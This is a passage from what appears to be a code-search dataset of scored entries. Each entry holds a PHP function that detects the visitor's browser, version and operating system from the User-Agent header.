$b_name = 'Internet Explorer';\n $ub = \"MSIE\";\n } elseif(preg_match('/Firefox/i',$u_agent)) {\n $b_name = 'Mozilla Firefox';\n $ub = \"Firefox\";\n } elseif(preg_match('/Chrome/i',$u_agent)) {\n $b_name = 'Google Chrome';\n $ub = \"Chrome\";\n } elseif(preg_match('/Safari/i',$u_agent)) {\n $b_name = 'Apple Safari';\n $ub = \"Safari\";\n } elseif(preg_match('/Opera/i',$u_agent)) {\n $b_name = 'Opera';\n $ub = \"Opera\";\n } elseif(preg_match('/Netscape/i',$u_agent)) {\n $b_name = 'Netscape';\n $ub = \"Netscape\";\n }\n\n // Finally, get the correct version number\n $known = array('Version', $ub, 'other');\n $pattern = '#(?<browser>' . join('|', $known) .\n ')[/ ]+(?<version>[0-9.|a-zA-Z.]*)#';\n if (!preg_match_all($pattern, $u_agent, $matches)) {\n // we have no matching number, just continue\n }\n\n // See how many we have\n $i = count($matches['browser']);\n if ($i != 1) {\n // We will have two since we are not using 'other' argument yet\n // see if version is before or after the name\n if (strripos($u_agent,\"Version\") < strripos($u_agent,$ub)) {\n $version= $matches['version'][0];\n } else {\n $version= $matches['version'][1];\n }\n } else {\n $version= $matches['version'][0];\n }\n\n // Check if we have a number\n if ($version==null || $version==\"\") {$version=\"?\";}\n\n\t// Return the data\n return array(\n 'userAgent' => $u_agent,\n 'name' => $b_name,\n 'version' => $version,\n 'platform' => $platform,\n 'pattern' => $pattern\n );\n}", "title": "" }, { "docid": "2691576eeca43d40abdf075461b7096c", "score": "0.66887623", "text": "function browser_check( )\n{\n\tglobal $stylesheets;\n\t$platform_comps = array( );\n\t$msie_major = 0;\n\t$msie_minor = 0;\n\t$mac = 0;\n\t$platform_str = '';\n\t$b_id = $_SERVER['HTTP_USER_AGENT'];\n\n\t# look into php's get_browser()\n\n\t# not suitable for lynx\n\tif ( preg_match( '/Lynx/i', $b_id )) {\n\t\theader( \"Location: /scriptversion.php\" );\n\t}\n\n\t# Firefox, Mozilla, Netscape, and Camino \n\t# all need to be at least \"rv:1.7.2\" to pass\n\tif ( preg_match( '/Gecko/', $b_id ) &&\n\t\tpreg_match( '/ rv:1.7.([^)]*)\\)/', $b_id, $Rev )) {\n\t\tif ( strlen( $Rev[0] ) && \n\t\t\t( !strlen( $Rev[1] ) || ( $Rev[1] < 2 ))) {\n\t\t\t\theader( \"Location: /scriptversion.php\" );\n\t\t}\n\t}\n\n\t# Win Opera 7.5 is broken, but 8 works\n\tif ( preg_match( '/Opera\\/7/', $b_id )) {\n\t\theader( \"Location: /scriptversion.php\" );\n\t}\n\n\t# We currently don't support Omniweb 4.5, although 5.1.1 works\n\tif ( preg_match( '/OmniWeb\\/v496$/', $b_id )) {\n\t\theader( \"Location: /scriptversion.php\" );\n\t}\n\n\t# Check for Safari after Omniweb, since OW uses Safari's string\n\tif ( preg_match( '/Safari\\/(.*)$/', $b_id, $Rev ) &&\n\t\t( !strlen( $Rev[1] ) || ( $Rev[1] < 2 ))) {\n\t\theader( \"Location: /scriptversion.php\" );\n } \n\n\t$regex = \"/(.*) \\((.*)\\)/\";\n\tif( preg_match( $regex, $b_id, $matches )) {\n\t\t$browser_str = $matches[1];\n\t\t$platform_str = $matches[2];\n\t}\n\n\t$l=strlen( $platform_str );\n\n\t$token = \"\";\n\tfor( $i=0; $i<=$l; $i++ )\n\t{\n\t\tif(( $i == $l ) || (( $c=$platform_str[$i] ) == \";\" )) {\n\t\t\t$platform_comps[] = ltrim( rtrim( $token ));\n\t\t\t$token = \"\";\n\t\t} else {\n\t\t\t$token .= $c;\n\t\t}\n\t}\n\n\tforeach( $platform_comps as $comp ) {\n\t\t$regex = \"/MSIE (\\d+)\\.(\\d+)/\";\n\t\tif( preg_match( $regex, $comp, $matches )) {\n\t\t\t$msie_major = $matches[1];\n\t\t\t$msie_minor = $matches[2];\n\n\t\t}\n\n\t\tif ( preg_match( \"/^Mac/i\", $comp, $matches )) {\n\t\t\t$mac = 1;\n\t\t}\n\t}\n\n\t// We currently don't support MSIE on mac\n\t// This also catches Opera 7.5 and 8 for mac.\n\t// Mac Opera 7.5 is broken, Opera 8 works, but they both have the\n\t// same browser identification string. PUNT! Use a real browser!\n\tif ( $msie_major && $mac ) {\n\t\theader( \"Location: /scriptversion.php\" );\n\t}\n\n\t// MSIE requires additional stylesheets\n\tswitch ( $msie_major ) {\n\tcase \"5\":\n\t\t$stylesheets[] = \"/css/ie5specific.css\";\n\t\tbreak;\n\tcase \"6\":\n\t\t$stylesheets[] = \"/css/ie6specific.css\";\n\t\tbreak;\n\tdefault:\n\t\tbreak;\n\t}\n}", "title": "" }, { "docid": "10864f8672456cdd7043791288851f10", "score": "0.66000587", "text": "function getBrowser() \n{ \n $u_agent = $_SERVER['HTTP_USER_AGENT']; \n $bname = 'Unknown';\n $platform = 'Unknown';\n $version= \"\";\n\n //First get the platform?\n if (preg_match('/linux/i', $u_agent)) {\n $platform = 'linux';\n }\n elseif (preg_match('/macintosh|mac os x/i', $u_agent)) {\n $platform = 'mac';\n }\n elseif (preg_match('/windows|win32/i', $u_agent)) {\n $platform = 'windows';\n }\n \n // Next get the name of the useragent yes seperately and for good reason\n if(preg_match('/MSIE/i',$u_agent) && !preg_match('/Opera/i',$u_agent)) \n { \n $bname = 'Internet Explorer'; \n $ub = \"MSIE\"; \n } \n elseif(preg_match('/Firefox/i',$u_agent)) \n { \n $bname = 'Mozilla Firefox'; \n $ub = \"Firefox\"; \n } \n elseif(preg_match('/Chrome/i',$u_agent)) \n { \n $bname = 'Google Chrome'; \n $ub = \"Chrome\"; \n } \n elseif(preg_match('/Safari/i',$u_agent)) \n { \n $bname = 'Apple Safari'; \n $ub = \"Safari\"; \n } \n elseif(preg_match('/Opera/i',$u_agent)) \n { \n $bname = 'Opera'; \n $ub = \"Opera\"; \n } \n elseif(preg_match('/Netscape/i',$u_agent)) \n { \n $bname = 'Netscape'; \n $ub = \"Netscape\"; \n } \n \n // finally get the correct version number\n $known = array('Version', $ub, 'other');\n $pattern = '#(?<browser>' . join('|', $known) .\n ')[/ ]+(?<version>[0-9.|a-zA-Z.]*)#';\n if (!preg_match_all($pattern, $u_agent, $matches)) {\n // we have no matching number just continue\n }\n \n // see how many we have\n $i = count($matches['browser']);\n if ($i != 1) {\n //we will have two since we are not using 'other' argument yet\n //see if version is before or after the name\n if (strripos($u_agent,\"Version\") < strripos($u_agent,$ub)){\n $version= $matches['version'][0];\n }\n else {\n $version= $matches['version'][1];\n }\n }\n else {\n $version= $matches['version'][0];\n }\n \n // check if we have a number\n if ($version==null || $version==\"\") {$version=\"?\";}\n \n return array(\n 'userAgent' => $u_agent,\n 'name' => $bname,\n 'version' => $version,\n 'platform' => $platform,\n 'pattern' => $pattern\n );\n}", "title": "" }, { "docid": "7f76116b5e0e3caeffcb3ec17de2a87c", "score": "0.65625954", "text": "function operating_system_detection()\n {\n if (isset( $_SERVER )) {\n $agent = $_SERVER['HTTP_USER_AGENT'] ;\n } else {\n global $HTTP_SERVER_VARS ;\n if (isset( $HTTP_SERVER_VARS )) {\n $agent = $HTTP_SERVER_VARS['HTTP_USER_AGENT'] ;\n } else {\n global $HTTP_USER_AGENT ;\n $agent = $HTTP_USER_AGENT ;\n }\n }\n $ros[] = array('Windows XP', 'Windows XP');\n $ros[] = array('Windows NT 5.1|Windows NT5.1)', 'Windows XP');\n $ros[] = array('Windows 2000', 'Windows 2000');\n $ros[] = array('Windows NT 5.0', 'Windows 2000');\n $ros[] = array('Windows NT 4.0|WinNT4.0', 'Windows NT');\n $ros[] = array('Windows NT 5.2', 'Windows Server 2003');\n $ros[] = array('Windows NT 6.0', 'Windows Vista');\n $ros[] = array('Windows NT 7.0', 'Windows 7');\n $ros[] = array('Windows NT 10.0', 'Windows 10');\n $ros[] = array('Windows CE', 'Windows CE');\n $ros[] = array('(media center pc).([0-9]{1,2}\\.[0-9]{1,2})', 'Windows Media Center');\n $ros[] = array('(win)([0-9]{1,2}\\.[0-9x]{1,2})', 'Windows');\n $ros[] = array('(win)([0-9]{2})', 'Windows');\n $ros[] = array('(windows)([0-9x]{2})', 'Windows');\n // Doesn't seem like these are necessary...not totally sure though..\n //$ros[] = array('(winnt)([0-9]{1,2}\\.[0-9]{1,2}){0,1}', 'Windows NT');\n //$ros[] = array('(windows nt)(([0-9]{1,2}\\.[0-9]{1,2}){0,1})', 'Windows NT'); // fix by bg\n $ros[] = array('Windows ME', 'Windows ME');\n $ros[] = array('Win 9x 4.90', 'Windows ME');\n $ros[] = array('Windows 98|Win98', 'Windows 98');\n $ros[] = array('Windows 95', 'Windows 95');\n $ros[] = array('(windows)([0-9]{1,2}\\.[0-9]{1,2})', 'Windows');\n $ros[] = array('win32', 'Windows');\n $ros[] = array('(java)([0-9]{1,2}\\.[0-9]{1,2}\\.[0-9]{1,2})', 'Java');\n $ros[] = array('(Solaris)([0-9]{1,2}\\.[0-9x]{1,2}){0,1}', 'Solaris');\n $ros[] = array('dos x86', 'DOS');\n $ros[] = array('unix', 'Unix');\n $ros[] = array('Mac OS X', 'Mac OS X');\n $ros[] = array('Mac_PowerPC', 'Macintosh PowerPC');\n $ros[] = array('(mac|Macintosh)', 'Mac OS');\n $ros[] = array('(sunos)([0-9]{1,2}\\.[0-9]{1,2}){0,1}', 'SunOS');\n $ros[] = array('(beos)([0-9]{1,2}\\.[0-9]{1,2}){0,1}', 'BeOS');\n $ros[] = array('(risc os)([0-9]{1,2}\\.[0-9]{1,2})', 'RISC OS');\n $ros[] = array('os/2', 'OS/2');\n $ros[] = array('freebsd', 'FreeBSD');\n $ros[] = array('openbsd', 'OpenBSD');\n $ros[] = array('netbsd', 'NetBSD');\n $ros[] = array('irix', 'IRIX');\n $ros[] = array('plan9', 'Plan9');\n $ros[] = array('osf', 'OSF');\n $ros[] = array('aix', 'AIX');\n $ros[] = array('GNU Hurd', 'GNU Hurd');\n $ros[] = array('(fedora)', 'Linux - Fedora');\n $ros[] = array('(kubuntu)', 'Linux - Kubuntu');\n $ros[] = array('(ubuntu)', 'Linux - Ubuntu');\n $ros[] = array('(debian)', 'Linux - Debian');\n $ros[] = array('(CentOS)', 'Linux - CentOS');\n $ros[] = array('(Mandriva).([0-9]{1,3}(\\.[0-9]{1,3})?(\\.[0-9]{1,3})?)', 'Linux - Mandriva');\n $ros[] = array('(SUSE).([0-9]{1,3}(\\.[0-9]{1,3})?(\\.[0-9]{1,3})?)', 'Linux - SUSE');\n $ros[] = array('(Dropline)', 'Linux - Slackware (Dropline GNOME)');\n $ros[] = array('(ASPLinux)', 'Linux - ASPLinux');\n $ros[] = array('(Red Hat)', 'Linux - Red Hat');\n // Loads of Linux machines will be detected as unix.\n // Actually, all of the linux machines I've checked have the 'X11' in the User Agent.\n //$ros[] = array('X11', 'Unix');\n $ros[] = array('(linux)', 'Linux');\n $ros[] = array('(amigaos)([0-9]{1,2}\\.[0-9]{1,2})', 'AmigaOS');\n $ros[] = array('amiga-aweb', 'AmigaOS');\n $ros[] = array('amiga', 'Amiga');\n $ros[] = array('AvantGo', 'PalmOS');\n //$ros[] = array('(Linux)([0-9]{1,2}\\.[0-9]{1,2}\\.[0-9]{1,3}(rel\\.[0-9]{1,2}){0,1}-([0-9]{1,2}) i([0-9]{1})86){1}', 'Linux');\n //$ros[] = array('(Linux)([0-9]{1,2}\\.[0-9]{1,2}\\.[0-9]{1,3}(rel\\.[0-9]{1,2}){0,1} i([0-9]{1}86)){1}', 'Linux');\n //$ros[] = array('(Linux)([0-9]{1,2}\\.[0-9]{1,2}\\.[0-9]{1,3}(rel\\.[0-9]{1,2}){0,1})', 'Linux');\n $ros[] = array('[0-9]{1,2}\\.[0-9]{1,2}\\.[0-9]{1,3})', 'Linux');\n $ros[] = array('(webtv)/([0-9]{1,2}\\.[0-9]{1,2})', 'WebTV');\n $ros[] = array('Dreamcast', 'Dreamcast OS');\n $ros[] = array('GetRight', 'Windows');\n $ros[] = array('go!zilla', 'Windows');\n $ros[] = array('gozilla', 'Windows');\n $ros[] = array('gulliver', 'Windows');\n $ros[] = array('ia archiver', 'Windows');\n $ros[] = array('NetPositive', 'Windows');\n $ros[] = array('mass downloader', 'Windows');\n $ros[] = array('microsoft', 'Windows');\n $ros[] = array('offline explorer', 'Windows');\n $ros[] = array('teleport', 'Windows');\n $ros[] = array('web downloader', 'Windows');\n $ros[] = array('webcapture', 'Windows');\n $ros[] = array('webcollage', 'Windows');\n $ros[] = array('webcopier', 'Windows');\n $ros[] = array('webstripper', 'Windows');\n $ros[] = array('webzip', 'Windows');\n $ros[] = array('wget', 'Windows');\n $ros[] = array('Java', 'Unknown');\n $ros[] = array('flashget', 'Windows');\n // delete next line if the script show not the right OS\n //$ros[] = array('(PHP)/([0-9]{1,2}.[0-9]{1,2})', 'PHP');\n $ros[] = array('MS FrontPage', 'Windows');\n $ros[] = array('(msproxy)/([0-9]{1,2}.[0-9]{1,2})', 'Windows');\n $ros[] = array('(msie)([0-9]{1,2}.[0-9]{1,2})', 'Windows');\n $ros[] = array('libwww-perl', 'Unix');\n $ros[] = array('UP.Browser', 'Windows CE');\n $ros[] = array('NetAnts', 'Windows');\n $file = count ( $ros );\n $os = '';\n for ($n=0; $n<$file; $n++) {\n if (preg_match('/'.$ros[$n][0].'/i', $agent, $name)) {\n $os = @$ros[$n][1].' '.@$name[2];\n break;\n }\n }\n return trim ( $os );\n }", "title": "" }, { "docid": "47e53b1a80d6f5bfe507568c7c78e121", "score": "0.6517944", "text": "function detect_system(){\n\n\t\t\t$browser=array(\"IE\",\"OPERA\",\"MOZILLA\",\"NETSCAPE\",\"FIREFOX\",\"SAFARI\",\"CHROME\");\n\t\t\t$os=array(\"WIN\",\"MAC\",\"LINUX\");\n\t\t \n\t\t\t# definimos unos valores por defecto para el navegador y el sistema operativo\n\t\t\t$info['browser'] = \"OTHER\";\n\t\t\t$info['os'] = \"OTHER\";\n\t\t \n\t\t\t# buscamos el navegador con su sistema operativo\n\t\t\tforeach($browser as $parent){\n\t\t\t\t$s = strpos(strtoupper($_SERVER['HTTP_USER_AGENT']), $parent);\n\t\t\t\t$f = $s + strlen($parent);\n\t\t\t\t$version = substr($_SERVER['HTTP_USER_AGENT'], $f, 15);\n\t\t\t\t$version = preg_replace('/[^0-9,.]/','',$version);\n\t\t\t\tif ($s)\n\t\t\t\t{\n\t\t\t\t\t$info['browser'] = $parent;\n\t\t\t\t\t$info['version'] = $version;\n\t\t\t\t}\n\t\t\t}\n\t\t \n\t\t\t# obtenemos el sistema operativo\n\t\t\tforeach($os as $val){\n\n\t\t\t\tif (strpos(strtoupper($_SERVER['HTTP_USER_AGENT']),$val)!==false)\n\t\t\t\t\t$info['os'] = $val;\n\t\t\t}\n\t\t \n\t\t\t# devolvemos el array de valores\n\t\t\treturn $info;\n\t\t}", "title": "" }, { "docid": "5f071a6faee204e19652d04349b44d94", "score": "0.65163887", "text": "function plg_gustData() {\r\n\r\n //ip\r\n /* $retuenDat = gethostbyname($_SERVER['SERVER_NAME']);\r\n\r\n $browser = get_browser(null, true);\r\n\r\n //$browser\r\n $browser[browser]\r\n //$browser version\r\n $browser[version]\r\n\r\n\r\n\r\n\r\n //os\r\n $browser[platform]\r\n\r\n\r\n\r\n\r\n print_r($browser);*/\r\n}", "title": "" }, { "docid": "6dc1dd82bff3764ee10e44d66b7dc2d2", "score": "0.6447039", "text": "function get_the_browser()\n{\n if(strpos($_SERVER['HTTP_USER_AGENT'], 'MSIE') !== false)\n return 'Internet explorer';\n elseif(strpos($_SERVER['HTTP_USER_AGENT'], 'Trident') !== false)\n return 'Internet explorer';\n elseif(strpos($_SERVER['HTTP_USER_AGENT'], 'Firefox') !== false)\n return 'Mozilla Firefox';\n elseif(strpos($_SERVER['HTTP_USER_AGENT'], 'Chrome') !== false)\n return 'Google Chrome';\n elseif(strpos($_SERVER['HTTP_USER_AGENT'], 'Opera Mini') !== false)\n return \"Opera Mini\";\n elseif(strpos($_SERVER['HTTP_USER_AGENT'], 'Opera') !== false)\n return \"Opera\";\n elseif(strpos($_SERVER['HTTP_USER_AGENT'], 'Safari') !== false)\n return \"Safari\";\n else\n return 'Other';\n }", "title": "" }, { "docid": "d33147ce037ecfa91f65f03f5c85684a", "score": "0.64182025", "text": "function getBrowser() {\n $u_agent = $_SERVER['HTTP_USER_AGENT'];\n $bname = 'Unknown';\n $platform = 'Unknown';\n $version = \"\";\n\n //First get the platform?\n if (preg_match('/linux/i', $u_agent)) {\n $platform = 'linux';\n } elseif (preg_match('/macintosh|mac os x/i', $u_agent)) {\n $platform = 'mac';\n } elseif (preg_match('/windows|win32/i', $u_agent)) {\n $platform = 'windows';\n }\n\n // Next get the name of the useragent yes seperately and for good reason\n if (preg_match('/MSIE/i', $u_agent) && !preg_match('/Opera/i', $u_agent)) {\n $bname = 'Internet Explorer';\n $ub = \"MSIE\";\n } elseif (preg_match('/Firefox/i', $u_agent)) {\n $bname = 'Mozilla Firefox';\n $ub = \"Firefox\";\n } elseif (preg_match('/Chrome/i', $u_agent)) {\n $bname = 'Google Chrome';\n $ub = \"Chrome\";\n } elseif (preg_match('/Safari/i', $u_agent)) {\n $bname = 'Apple Safari';\n $ub = \"Safari\";\n } elseif (preg_match('/Opera/i', $u_agent)) {\n $bname = 'Opera';\n $ub = \"Opera\";\n } elseif (preg_match('/Netscape/i', $u_agent)) {\n $bname = 'Netscape';\n $ub = \"Netscape\";\n }\n\n // finally get the correct version $number\n $known = array('Version', $ub, 'other');\n $pattern = '#(?<browser>' . join('|', $known) .\n ')[/ ]+(?<version>[0-9.|a-zA-Z.]*)#';\n if (!preg_match_all($pattern, $u_agent, $matches)) {\n // we have no matching $number just continue\n }\n\n // see how many we have\n $i = count($matches['browser']);\n if ($i != 1) {\n //we will have two since we are not using 'other' argument yet\n //see if version is before or after the name\n if (strripos($u_agent, \"Version\") < strripos($u_agent, $ub)) {\n $version = $matches['version'][0];\n } else {\n $version = $matches['version'][1];\n }\n } else {\n $version = $matches['version'][0];\n }\n\n // check if we have a $number\n if ($version == null || $version == \"\") {\n $version = \"?\";\n }\n\n return array(\n 'userAgent' => $u_agent,\n 'name' => $bname,\n 'version' => $version,\n 'platform' => $platform,\n 'pattern' => $pattern\n );\n}", "title": "" }, { "docid": "ae723fbb0352075afa425b15d0ee4ba8", "score": "0.6406123", "text": "function getUserBrowser()\n {\n $arr_browsers = [\"Firefox\", \"Opera\", \"Edge\", \"OPR\", \"Chrome\", \"Safari\", \"MSIE\", \"Trident\"];\n $agent = $_SERVER['HTTP_USER_AGENT'];\n $user_browser = 'Unknown';\n foreach ($arr_browsers as $browser) {\n if (strpos($agent, $browser) !== false) {\n $user_browser = $browser;\n break;\n }\n }\n\n switch ($user_browser) {\n case 'MSIE':\n case 'Trident':\n $user_browser = 'Internet Explorer';\n break;\n\n case 'OPR':\n $user_browser = 'Opera';\n break;\n }\n return $user_browser;\n }", "title": "" }, { "docid": "3d49e549b45a02b328c578bd87fb2204", "score": "0.6383869", "text": "function SI_parseUserAgent($ua) {\n\t$browser['platform']\t= \"Indeterminable\";\n\t$browser['browser']\t\t= \"Indeterminable\";\n\t$browser['version']\t\t= \"Indeterminable\";\n\t$browser['majorver']\t= \"Indeterminable\";\n\t$browser['minorver']\t= \"Indeterminable\";\n\t\n\t\n\t// Test for platform\n\tif (eregi('Win',$ua)) {\n\t\t$browser['platform'] = \"Windows\";\n\t\t}\n\telse if (eregi('Mac',$ua)) {\n\t\t$browser['platform'] = \"Macintosh\";\n\t\t}\n\telse if (eregi('Linux',$ua)) {\n\t\t$browser['platform'] = \"Linux\";\n\t\t}\n\t\n\t\n\t// Test for browser type\n\tif (eregi('Mozilla/4',$ua) && !eregi('compatible',$ua)) {\n\t\t$browser['browser'] = \"Netscape\";\n\t\teregi('Mozilla/([[:digit:]\\.]+)',$ua,$b);\n\t\t$browser['version'] = $b[1];\n\t\t}\n\tif (eregi('Mozilla/5',$ua) || eregi('Gecko',$ua)) {\n\t\t$browser['browser'] = \"Mozilla\";\n\t\teregi('rv(:| )([[:digit:]\\.]+)',$ua,$b);\n\t\t$browser['version'] = $b[2];\n\t\t}\n\tif (eregi('Safari',$ua)) {\n\t\t$browser['browser'] = \"Safari\";\n\t\t$browser['platform'] = \"Macintosh\";\n\t\teregi('Safari/([[:digit:]\\.]+)',$ua,$b);\n\t\t$browser['version'] = $b[1];\n\t\t\n\t\tif (eregi('125',$browser['version'])) {\n\t\t\t$browser['version'] \t= 1.2;\n\t\t\t$browser['majorver']\t= 1;\n\t\t\t$browser['minorver']\t= 2;\n\t\t\t}\n\t\telse if (eregi('100',$browser['version'])) {\n\t\t\t$browser['version'] \t= 1.1;\n\t\t\t$browser['majorver']\t= 1;\n\t\t\t$browser['minorver']\t= 1;\n\t\t\t}\n\t\telse if (eregi('85',$browser['version'])) {\n\t\t\t$browser['version'] \t= 1.0;\n\t\t\t$browser['majorver']\t= 1;\n\t\t\t$browser['minorver']\t= 0;\n\t\t\t}\n\t\telse if ($browser['version']<85) {\n\t\t\t$browser['version'] \t= \"Pre-1.0 Beta\";\n\t\t\t}\n\t\t}\n\tif (eregi('iCab',$ua)) {\n\t\t$browser['browser'] = \"iCab\";\n\t\teregi('iCab/([[:digit:]\\.]+)',$ua,$b);\n\t\t$browser['version'] = $b[1];\n\t\t}\n\tif (eregi('Firefox',$ua)) {\n\t\t$browser['browser'] = \"Firefox\";\n\t\teregi('Firefox/([[:digit:]\\.]+)',$ua,$b);\n\t\t$browser['version'] = $b[1];\n\t\t}\n\tif (eregi('Firebird',$ua)) {\n\t\t$browser['browser'] = \"Firebird\";\n\t\teregi('Firebird/([[:digit:]\\.]+)',$ua,$b);\n\t\t$browser['version'] = $b[1];\n\t\t}\n\tif (eregi('Phoenix',$ua)) {\n\t\t$browser['browser'] = \"Phoenix\";\n\t\teregi('Phoenix/([[:digit:]\\.]+)',$ua,$b);\n\t\t$browser['version'] = $b[1];\n\t\t}\n\tif (eregi('Camino',$ua)) {\n\t\t$browser['browser'] = \"Camino\";\n\t\teregi('Camino/([[:digit:]\\.]+)',$ua,$b);\n\t\t$browser['version'] = $b[1];\n\t\t}\n\tif (eregi('Chimera',$ua)) {\n\t\t$browser['browser'] = \"Chimera\";\n\t\teregi('Chimera/([[:digit:]\\.]+)',$ua,$b);\n\t\t$browser['version'] = $b[1];\n\t\t}\n\tif (eregi('Netscape',$ua)) {\n\t\t$browser['browser'] = \"Netscape\";\n\t\teregi('Netscape[0-9]?/([[:digit:]\\.]+)',$ua,$b);\n\t\t$browser['version'] = $b[1];\n\t\t}\n\tif (eregi('MSIE',$ua)) {\n\t\t$browser['browser'] = \"Internet Explorer\";\n\t\teregi('MSIE ([[:digit:]\\.]+)',$ua,$b);\n\t\t$browser['version'] = $b[1];\n\t\t}\n\tif (eregi('Opera',$ua)) {\n\t\t$browser['browser'] = \"Opera\";\n\t\teregi('Opera( |/)([[:digit:]\\.]+)',$ua,$b);\n\t\t$browser['version'] = $b[2];\n\t\t}\n\tif (eregi('OmniWeb',$ua)) {\n\t\t$browser['browser'] = \"OmniWeb\";\n\t\teregi('OmniWeb/([[:digit:]\\.]+)',$ua,$b);\n\t\t$browser['version'] = $b[1];\n\t\t}\n\tif (eregi('Konqueror',$ua)) {\n\t\t$browser['platform'] = \"Linux\";\n\n\t\t$browser['browser'] = \"Konqueror\";\n\t\teregi('Konqueror/([[:digit:]\\.]+)',$ua,$b);\n\t\t$browser['version'] = $b[1];\n\t\t}\n\tif (eregi('Crawl',$ua) || eregi('bot',$ua) || eregi('slurp',$ua) || eregi('spider',$ua)) {\n\t\t$browser['browser'] = \"Crawler/Search Engine\";\n\t\t}\n\tif (eregi('Lynx',$ua)) {\n\t\t$browser['browser'] = \"Lynx\";\n\t\teregi('Lynx/([[:digit:]\\.]+)',$ua,$b);\n\t\t$browser['version'] = $b[1];\n\t\t}\n\tif (eregi('Links',$ua)) {\n\t\t$browser['browser'] = \"Links\";\n\t\teregi('\\(([[:digit:]\\.]+)',$ua,$b);\n\t\t$browser['version'] = $b[1];\n\t\t}\n\t\n\t\n\t// Determine browser versions\n\tif ($browser['browser']!='Safari' && $browser['browser'] != \"Indeterminable\" && $browser['browser'] != \"Crawler/Search Engine\" && $browser['version'] != \"Indeterminable\") {\n\t\t// Make sure we have at least .0 for a minor version\n\t\t$browser['version'] = (!eregi('\\.',$browser['version']))?$browser['version'].\".0\":$browser['version'];\n\t\t\n\t\teregi('^([0-9]*).(.*)$',$browser['version'],$v);\n\t\t$browser['majorver'] = $v[1];\n\t\t$browser['minorver'] = $v[2];\n\t\t}\n\tif (empty($browser['version']) || $browser['version']=='.0') {\n\t\t$browser['version']\t\t= \"Indeterminable\";\n\t\t$browser['majorver']\t\t= \"Indeterminable\";\n\t\t$browser['minorver']\t\t= \"Indeterminable\";\n\t\t}\n\t\n\treturn $browser;\n\t}", "title": "" }, { "docid": "d756769523ec72d9cf84c12276436649", "score": "0.6342799", "text": "private function _getBrowser()\r\n {\r\n $u_agent = $_SERVER['HTTP_USER_AGENT'];\r\n $bname = 'Unknown';\r\n $platform = 'Unknown';\r\n $version= \"\";\r\n\r\n //First get the platform?\r\n if (preg_match('/linux/i', $u_agent)) {\r\n $platform = 'linux';\r\n }\r\n elseif (preg_match('/macintosh|mac os x/i', $u_agent)) {\r\n $platform = 'mac';\r\n }\r\n elseif (preg_match('/windows|win32/i', $u_agent)) {\r\n $platform = 'windows';\r\n }\r\n\r\n // Next get the name of the useragent yes seperately and for good reason\r\n if(preg_match('/MSIE/i',$u_agent) && !preg_match('/Opera/i',$u_agent))\r\n {\r\n $bname = 'Internet Explorer';\r\n $ub = \"MSIE\";\r\n }\r\n elseif(preg_match('/Firefox/i',$u_agent))\r\n {\r\n $bname = 'Mozilla Firefox';\r\n $ub = \"Firefox\";\r\n }\r\n elseif(preg_match('/Chrome/i',$u_agent))\r\n {\r\n $bname = 'Google Chrome';\r\n $ub = \"Chrome\";\r\n }\r\n elseif(preg_match('/Safari/i',$u_agent))\r\n {\r\n $bname = 'Apple Safari';\r\n $ub = \"Safari\";\r\n }\r\n elseif(preg_match('/Opera/i',$u_agent))\r\n {\r\n $bname = 'Opera';\r\n $ub = \"Opera\";\r\n }\r\n elseif(preg_match('/Netscape/i',$u_agent))\r\n {\r\n $bname = 'Netscape';\r\n $ub = \"Netscape\";\r\n }\r\n\r\n // finally get the correct version number\r\n $known = array('Version', $ub, 'other');\r\n $pattern = '#(?<browser>' . join('|', $known) .\r\n ')[/ ]+(?<version>[0-9.|a-zA-Z.]*)#';\r\n if (!preg_match_all($pattern, $u_agent, $matches)) {\r\n // we have no matching number just continue\r\n }\r\n\r\n // see how many we have\r\n $i = count($matches['browser']);\r\n if ($i != 1) {\r\n //we will have two since we are not using 'other' argument yet\r\n //see if version is before or after the name\r\n if (strripos($u_agent,\"Version\") < strripos($u_agent,$ub)){\r\n $version= $matches['version'][0];\r\n }\r\n else {\r\n $version= $matches['version'][1];\r\n }\r\n }\r\n else {\r\n $version= $matches['version'][0];\r\n }\r\n\r\n // check if we have a number\r\n if ($version==null || $version==\"\") {$version=\"?\";}\r\n\r\n return array(\r\n 'userAgent' => $u_agent,\r\n 'name' => $bname,\r\n 'version' => $version,\r\n 'platform' => $platform,\r\n 'pattern' => $pattern\r\n );\r\n }", "title": "" }, { "docid": "dab00a731aa391cda9f9a9e020a58c37", "score": "0.6327603", "text": "function _isBrowserWinOP($ua_ok) {\r\n\t\treturn ( (eregi( \"Windows\", $ua_ok ) && eregi( \"Opera\", $ua_ok ) && eregi( \"[7]\\.[23]\", $ua_ok ) ) ||\r\n\t\t\t\t (eregi( \"Windows\", $ua_ok ) && eregi( \"Opera\", $ua_ok ) && eregi( \"[8]\\.[50]\", $ua_ok ) ) ||\r\n\t\t\t\t (eregi( \"Windows\", $ua_ok ) && eregi( \"Opera\", $ua_ok ) && eregi( \"[9]\\.[00]\", $ua_ok ) )\r\n\t\t\t );\r\n\t}", "title": "" }, { "docid": "09d95b6aad0b94466c9497d297823c1d", "score": "0.6294284", "text": "function getUserBrowser()\r\n{\r\n global $HTTP_USER_AGENT, $_SERVER;\r\n if (!empty($_SERVER['HTTP_USER_AGENT'])) {\r\n $HTTP_USER_AGENT = $_SERVER['HTTP_USER_AGENT'];\r\n }\r\n elseif (getenv(\"HTTP_USER_AGENT\")) {\r\n $HTTP_USER_AGENT = getenv(\"HTTP_USER_AGENT\");\r\n }\r\n elseif (empty($HTTP_USER_AGENT)) {\r\n $HTTP_USER_AGENT = \"\";\r\n }\r\n\r\n if (eregi(\"MSIE ([0-9].[0-9]{1,2})\", $HTTP_USER_AGENT, $regs)) {\r\n $browser['agent'] = 'MSIE';\r\n $browser['version'] = $regs[1];\r\n }\r\n elseif (eregi(\"Mozilla/([0-9].[0-9]{1,2})\", $HTTP_USER_AGENT, $regs)) {\r\n $browser['agent'] = 'MOZILLA';\r\n $browser['version'] = $regs[1];\r\n }\r\n elseif (eregi(\"Opera(/| )([0-9].[0-9]{1,2})\", $HTTP_USER_AGENT, $regs)) {\r\n $browser['agent'] = 'OPERA';\r\n $browser['version'] = $regs[2];\r\n }\r\n else {\r\n $browser['agent'] = 'OTHER';\r\n $browser['version'] = 0;\r\n }\r\n\r\n return $browser['agent'];\r\n}", "title": "" }, { "docid": "c350a0a65ae88c4ef6188adcdcba2998", "score": "0.62578785", "text": "function _isBrowserLinuxFF($ua_ok) {\r\n\t\t return ( (eregi( \"Linux\", $ua_ok ) && eregi( \"firefox\", $ua_ok ) && eregi( \"rv:[1]\\.[7]\\.[5]\", $ua_ok ) && eregi( \"[1]\\.[0]\", $ua_ok ) ) ||\r\n\t\t\t\t\t(eregi( \"Linux\", $ua_ok ) && eregi( 